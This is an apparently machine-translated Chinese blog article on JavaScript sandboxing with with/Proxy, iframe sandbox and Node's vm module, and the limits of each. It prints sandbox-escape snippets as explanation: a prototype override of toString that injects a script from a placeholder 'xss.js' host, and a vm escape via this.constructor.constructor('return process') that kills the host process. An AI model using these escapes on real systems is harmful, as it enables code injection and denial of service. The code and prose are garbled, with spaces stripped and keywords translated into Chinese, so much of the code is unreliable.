当前位置: 首页 > 后端技术 > Node.js

说说JS中的沙箱

时间:2023-04-03 16:12:04 Node.js

其实在前端编码中,你或多或少都会接触到沙箱。也许你天真善良。沙盒以避免潜在的代码注入和未知的安全问题。PrefaceSandbox,即沙盒,顾名思义就是让你的程序运行在一个隔离的环境中,不影响外面的其他程序。通过创建一个类似于沙箱的独立运行环境,使其内运行的程序无法影响硬盘。有永久的效果。举个简单的栗子,其实我们的浏览器,Chrome中的每一个标签页都是一个沙盒(sandbox)。渲染进程被Sandbox隔离,网页的web代码内容必须通过IPC通道与浏览器内核进程通信,通信过程中会进行安全检查。沙箱设计的目的是让不受信任的代码在一定的环境中运行,从而限制这些代码访问隔离区域之外的资源。JSFront-end中的沙箱使用场景JS也可能适用于沙箱。毕竟有时候你想获取的是第三方的JS文件或者数据?而当数据不一定可信时,打造沙箱,做好保险工作就显得尤为重要。1、jsonp:在解析服务器返回的jsonp请求时,如果不信任jsonp中的数据,可以通过创建沙箱的方式解析获取数据;(在TSW中处理jsonp请求时,创建沙箱对数据进行处理和解析);2.执行第三方js:当你需要执行第三方js,而这个js文件不一定靠谱;3、在线代码编辑器:相信大家都用过一些在线代码编辑器,这些代码的执行基本都会放在沙盒中,影响页面本身;(例如:https://codesandbox.io/s/new)4.Vue的服务端渲染:Vue的服务端渲染在实现中,通过创建沙箱来执行前端bundle文件;调用createBundleRenderer方法时,允许配置runInNewContext为true或false,并判断是否传入新创建的沙箱对象供vm使用;5.在vue模板中表达公式计算:vue模板中表达式的计算是放在沙盒中的,只能访问Math、Date等全局变量的白名单。您不能尝试在模板表达式中访问用户定义的全局变量。总之:当你要解析或执行不受信任的JS时,当你要隔离执行代码的执行环境时,当你要限制执行代码中的可访问对象时,沙箱就派上用场了。如何实现/使用sandbox1,newFunction+with1,首先我们从最简单的方法开始,如果想通过eval和function直接执行一段代码,这是不现实的,因为代码可以followthescopechaininside查找和篡改全局变量,这是我们不想要的,所以你需要在你的监控范围内的沙箱中进行变量访问;但是,你可以使用withAPI,在with的块级作用域下,变量访问会先搜索你传入的参数对象,然后再向上查找,这样就相当于监控代码中的“变量访问”伪装:functioncompileCode(src){src='with(exposeObj){'+src+'}'returnnewFunction('exposeObj',src)}接下来你要做的是公开变量exposeObj,它可以被访问,并阻止沙箱中的外部访问。通过es6提供的代理特性,可以得到对对象的所有重写:proxyObj(originObj){letexposeObj=newProxy(originObj,{has:(target,key)=>{if(["console","Math","Date"].indexOf(key)>=0){返回target[key]}if(!target.hasOwnProperty(key)){thrownewError(`对键${key}`的非法操作)}returntarget[key]},})returnexposeObj}functioncreateSandbox(src,obj){letproxy=proxyObj(obj)compileCode(src).call(proxy,proxy)//bindthis防止this访问window}通过设置has函数,可以监听变量访问。上面代码中,只有个别外部变量是代码访问的,其他不存在的属性会直接抛出错误。其实还有get和set函数,但是如果get和set函数只能拦截当前对象属性的操作,无法监听对外部变量属性的读写操作,所以只能用has函数.接下来我们来测试一下:consttestObj={value:1,a:{b:{c:1}}}createSandbox("value='haha';console.log(a)",testObj)似乎一切似乎可以说是什么问题,但是问题出在传入的对象上。调用console.log(a.b)时,has方法无法监听b属性的访问。假设执行的代码是不可信任的,this有时,它只需要通过a.b.__proto__来访问Object构造函数的原型对象,然后对原型对象进行一些更改,例如toString可以影响外部代码逻辑。a.b.__proto__.toString=()=>{varscript=document.createElement("script");script.src="http://.../xss.js"script.type="text/javascript";document.body.appendChild(script)}如上图代码通过访问原型链实现沙箱逃逸,并篡改原型链上的toString方法。一旦外部代码执行了toString方法,就可以实现Xss攻击,注入第三方代码,为什么在代码中可以访问到文档?因为这是一个函数的赋值操作,并没有执行,所以没有被has函数拦截。而你调用toString的时候,已经在外部代码中调用了,has函数就更不知道了。你可能会想,如果我切断原型链的访问,它是不是就被淘汰了?的确,可以用Object.create(null)传入一个没有原型链的对象,让暴露的对象只有一层,不传入嵌套对象。但是,即使是基本类型的值,数字或者字符串,也可以通过__proto__找到原型链,即使不传入对象,也可以通过以下方式绕过:({}).__proto__.toString=()=>{控制台.log(111)};可见newFunction+with的沙盒方式,能防君子不能防小人。当然你也可以分析或者过滤传入的代码?如果传入的代码不是指定的数据格式(如json),则会直接抛出错误以防止恶意代码注入,但这并不总是一种安全的做法。2、借助iframe实现沙箱上一节介绍了一种劣质且不太安全的方法来构建一个简单的沙箱,但是前端最常用的方法是使用iframe来构建沙箱,比如在线代码编辑器Medium:https://codesandbox.io/s/news。这种方法比较方便、简单、安全。也是一种比较常见的前端沙盒方案。如果你要执行的代码不是你自己写的,也不是可信的数据源,你必须使用iframe沙箱。Sandbox是h5提出的新属性。启用的方式是使用iframe标签中的sandbox属性:但是这样也会带来一些限制:script脚本不能执行发送ajax请求不能使用localstorage,即localStorage、cookies等,不能新建弹窗,不能发送窗体,不能加载flash等额外插件。但是可以配置这个iframe标签:接下来,你只需要你需要结合postMessageAPI传递你需要执行的代码和你需要暴露的数据,然后与你的iframe页面进行通信。1)但是需要注意的是,在子页面中,要注意不要让执行代码访问contentWindow对象,因为需要调用contentWindow的postMessageAPI向父页面发送信息。如果恶意代码也拿到了contentWindow对象,就相当于既然我们已经控制了父页面,这时候事情就不妙了。2)当你使用postMessageAPI时,由于sandbox的origin默认为null,所以需要设置allow-same-origin来允许两个页面进行通信,即可以在子页面发起请求。这时候就需要防范CSRF,允许同域请求,还好没有携带cookie。3)调用postMessageAPI向子页面传输数据时,传输的数据对象本身已经被结构化克隆算法复制。如果你不知道结构化克隆算法,你可以查看这个。简单的说,通过postMessageAPI传递过来的对象已经被浏览器处理过了,原型链已经被切断了。同时,传递的对象也被复制,占用不同的内存空间,两者互不影响。因此您无需担心第一种沙盒方法中出现的问题。3、nodejs中的沙箱nodejs中沙箱的使用非常简单。您只需要使用原生的vm模块即可快速创建沙箱并指定上下文。constvm=require('vm');常量x=1;const沙箱={x:2};虚拟机。创建上下文(沙箱);//将沙箱上下文化。const代码='x+=40;vary=17;';vm.runInContext(code,sandbox);console.log(sandbox.x);//42console.log(sandbox.y);//17console.log(x);//1;y未定义。Vm提供了三个方法:runInNewContext、runInThisContext、runInContext。三种方法的用法不同。比较常用的有runInNewContext和runInContext。您可以传入参数来指定上下文对象。但是vm绝对安全吗?不确定。constvm=require('vm');vm.runInNewContext("this.constructor.constructor('returnprocess')().exit()")通过上面的代码,我们可以通过vm停止主进程nodejs,导致程序无法继续执行,这是我们不希望的。解决方案是绑定上下文对象。同时,为了避免通过原型链进行转义(nodejs中的对象不像浏览器端那样结构化,导致原型链残留),所以我们需要切断原型链,同时,只为传入的暴露对象提供基本类型值。让ctx=Object.create(null);ctx.a=1;//ctx不能包含引用类型的属性vm.runInNewContext("this.constructor.constructor('returnprocess')().exit()",ctx);我们来看看在TSW框架中是如何使用的:constvm=require('vm');constSbFunction=vm.runInNewContext('(Function)',Object.create(null));//沙堆...if(opt.jsonpCallback){code=`varresult=null;var${opt.jsonpCallback}=function($1){result=$1};${responseText};返回结果;`;obj=newSbFunction(code)();}...通过runInNewContext返回沙箱中的构造函数Function,并传入一个切断原型链的空对象,防止逃逸。对外使用时,只需要调用返回的函数,就可以像普通的newFunction一样调用。即便如此,我们也不能保证这是绝对安全的,毕竟可能存在潜在的沙箱漏洞?小结即使我们知道在开发过程中如何使用沙箱来保证我们的执行环境不受影响,沙箱也不一定是绝对安全的。毕竟每年有那么多黑客绞尽脑汁想办法逃出浏览服务器沙箱和nodejs沙箱,所以最安全的办法就是不执行不受信任的第三方JS,也不要信任任何用户数据源,那么你的代码将永远是安全的,不会被注入。出于好奇整理了这篇文章,如有错误请指正。